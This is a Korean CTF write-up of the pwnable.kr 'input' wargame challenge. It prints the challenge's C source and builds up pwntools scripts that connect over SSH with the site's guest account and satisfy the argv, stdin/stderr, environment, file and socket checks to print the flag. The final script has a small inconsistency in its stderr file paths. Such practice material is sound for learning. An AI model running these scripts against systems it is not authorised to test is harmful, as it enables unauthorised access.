ssh input2@pwnable.kr -p2222 로 접속해서 ls 명령어로 어떤 파일들이 있는지 확인해봤는데 flag, input, input.c 세개의 파일이 있다.

input을 실행해보면 다음과 같은 메시지를 출력하고 종료된다. 올바른 input을 보내면 flag값을 받을 수 있다고 합니다.

input.c 파일을 확인해보도록 합시다.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main(int argc, char* argv[], char* envp[]){
	printf("Welcome to pwnable.kr\n");
	printf("Let's see if you know how to give input to program\n");
	printf("Just give me correct inputs then you will get the flag :)\n");

	// argv
	if(argc != 100) return 0;
	if(strcmp(argv['A'],"\x00")) return 0;
	if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
	printf("Stage 1 clear!\n");	

	// stdio
	char buf[4];
	read(0, buf, 4);
	if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
	read(2, buf, 4);
        if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
	printf("Stage 2 clear!\n");
	
	// env
	if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
	printf("Stage 3 clear!\n");

	// file
	FILE* fp = fopen("\x0a", "r");
	if(!fp) return 0;
	if( fread(buf, 4, 1, fp)!=1 ) return 0;
	if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
	fclose(fp);
	printf("Stage 4 clear!\n");	

	// network
	int sd, cd;
	struct sockaddr_in saddr, caddr;
	sd = socket(AF_INET, SOCK_STREAM, 0);
	if(sd == -1){
		printf("socket error, tell admin\n");
		return 0;
	}
	saddr.sin_family = AF_INET;
	saddr.sin_addr.s_addr = INADDR_ANY;
	saddr.sin_port = htons( atoi(argv['C']) );
	if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
		printf("bind error, use another port\n");
    		return 1;
	}
	listen(sd, 1);
	int c = sizeof(struct sockaddr_in);
	cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
	if(cd < 0){
		printf("accept error, tell admin\n");
		return 0;
	}
	if( recv(cd, buf, 4, 0) != 4 ) return 0;
	if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
	printf("Stage 5 clear!\n");

	// here's your flag
	system("/bin/cat flag");	
	return 0;
}

코드를 확인해보니 5단계의 stage가 있고 각 stage별로 요구 조건을 만족 시켜야 해당 stage를 벗어나 다음 stage 코드로 이동을 할 수 있습니다. 우선 첫 번째 stage의 clear 조건을 확인해보도록 하겠습니다.

// argv
	if(argc != 100) return 0;
	if(strcmp(argv['A'],"\x00")) return 0;
	if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
	printf("Stage 1 clear!\n");

첫 번째 stage는 argc를 100으로 맞춰준 뒤 argv[65] 와 argv[66]에 각각 필요로 하는 문자열로 맞춰줘야 if문을 벗어날 수 있습니다.

그래서 위 그림과 같이 argv[65] 와 argv[66]에 필요로 하는 문자열을 주어 실행해봤습니다. 하지만 if문을 벗어나지 못했습니다. 왜 stage1을 clear하지 못하는지 이해가 되지 않아서 이 문제는 다른 분들의 writeup을 보면서 풀게 되었습니다.

from pwn import *

p = ssh(user="input2", host="pwnable.kr", port=2222, password="guest")

arg = [str(i) for i in range(100)]
arg[65] = "\x00"
arg[66] = "\x20\x0a\x0d"

p2 = p.process(executable="/home/input2/input", argv=arg)

print (p2.recvuntil('clear!'))

pwntools를 사용해서 argv 100개를 할당하고 arg[65] 와 arg[66]에 주어진 조건대로 맞춰준 후 input 파일을 실행하였습니다.

위 코드를 사용하여 input 파일을 실행하였더니 Stage1이 clear된 것을 확인하였습니다.

// stdio
	char buf[4];
	read(0, buf, 4);
	if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
	read(2, buf, 4);
        if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
	printf("Stage 2 clear!\n");

Stage2는 read함수로 buf에 사용자로부터 문자열을 입력 받았을때 입력 값이 "\x00\x0a\x00\xff"여야 하고 표준 에러가 "\x00\x0a\x02\xff"를 만족해야 클리어되는 단계 입니다.

표준 에러를 어떻게 설정해주는지 몰랐는데 write up을 보니 pwntools에 표준 에러를 설정하는 기능이 있다고 하여 write up을 보고 pwntools를 사용하였습니다.

from pwn import *

p = ssh(user="input2", host="pwnable.kr", port=2222, password="guest")

arg = [str(i) for i in range(100)]
arg[65] = "\x00"
arg[66] = "\x20\x0a\x0d"

p.write('/tmp/err', "\x00\x0a\x02\xff")

p2 = p.process(executable="/home/input2/input", argv=arg, stderr="/tmp/err")

payload = "\x00\x0a\x00\xff"

p2.send(payload)

print (p2.recvuntil('Stage 2 clear!'))

Stage2 조건문까지 만족시킨 코드 입니다. tmp에 write 권한이 있어 표준에러로 사용할 파일을 만들어준 후 표준 에러를 만들어준 파일로 설정한 후 buf에 입력할 값도 맞춰주었습니다.

pwntools로 작성한 코드 실행 결과 정상적으로 2단계 까지 클리어한 것을 확인했습니다.

// env
	if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
	printf("Stage 3 clear!\n");

Stage3은 환경변수 '\xde\xad\xbe\xef' 에 '\xca\xfe\xba\xbe'가 들어있으면 됩니다.

// file
	FILE* fp = fopen("\x0a", "r");
	if(!fp) return 0;
	if( fread(buf, 4, 1, fp)!=1 ) return 0;
	if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
	fclose(fp);
	printf("Stage 4 clear!\n");

Stage4는 \x0a 파일 4바이트를 buf로 읽어옵니다. buf에 들어간 4바이트가 \x00\x00\x00\x00 이라면 정상적으로 Stage clear가 가능합니다.

// network
	int sd, cd;
	struct sockaddr_in saddr, caddr;
	sd = socket(AF_INET, SOCK_STREAM, 0);
	if(sd == -1){
		printf("socket error, tell admin\n");
		return 0;
	}
	saddr.sin_family = AF_INET;
	saddr.sin_addr.s_addr = INADDR_ANY;
	saddr.sin_port = htons( atoi(argv['C']) );
	if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
		printf("bind error, use another port\n");
    		return 1;
	}
	listen(sd, 1);
	int c = sizeof(struct sockaddr_in);
	cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
	if(cd < 0){
		printf("accept error, tell admin\n");
		return 0;
	}
	if( recv(cd, buf, 4, 0) != 4 ) return 0;
	if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
	printf("Stage 5 clear!\n");

Stage5는 argv['C']를 받아와서 설정된 포트로 '\xde\xad\xbe\xef'를 보내주면 clear 됩니다.

최종 exploit 코드는 다음과 같습니다.

from pwn import *

context.log_level = 'debug'
p = ssh(user="input2", host="pwnable.kr", port=2222, password="guest")

arg = [str(i) for i in range(100)]
arg[65] = "\x00"
arg[66] = "\x20\x0a\x0d"
arg[67] = "22224"

#strerr
p.write('/tmp/chobo/err', "\x00\x0a\x02\xff")


#env
en = {'\xde\xad\xbe\xef':"\xca\xfe\xba\xbe"}

#make \x0a
p.write('/tmp/chobo/\x0a', "\x00\x00\x00\x00")

p2 = p.process(cwd='/tmp/chobo', executable="/home/input2/input", argv=arg, stderr="/tmp/err", env=en)

print(p2.recvuntil('Stage 1 clear!'))
payload = "\x00\x0a\x00\xff"

p2.sendline(payload)

print(p2.recvuntil('Stage 2 clear!'))
print(p2.recvuntil('Stage 3 clear!'))
print(p2.recvuntil('Stage 4 clear!'))


local = p.remote('localhost', 22224)
local.send('\xde\xad\xbe\xef')

print(p2.recvuntil('Stage 5 clear!'))

p2.interactive()

exploit 코드를 작성하여 Stage5 까지 clear 하여도 flag 값을 찾아올 수 없어서 삽질을 한참 했는데 처음에 그냥 /tmp 에서 작업을 했었는데 tmp에 새로 생성해준 디렉터리에서 작업하니 잘 됐다. 아마도 tmp 디렉터리에서 flag 파일 심볼링 링크 걸어준게 제대로 안됐던 것 같다.

pwntools의 다양한 기능에 대해서 알 수 있는 좋은 문제였습니다.

Reference

https://johyungen.tistory.com/471

[pwnable.kr] input 풀이 (pwntools process executable!!)

소스코드 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66..

johyungen.tistory.com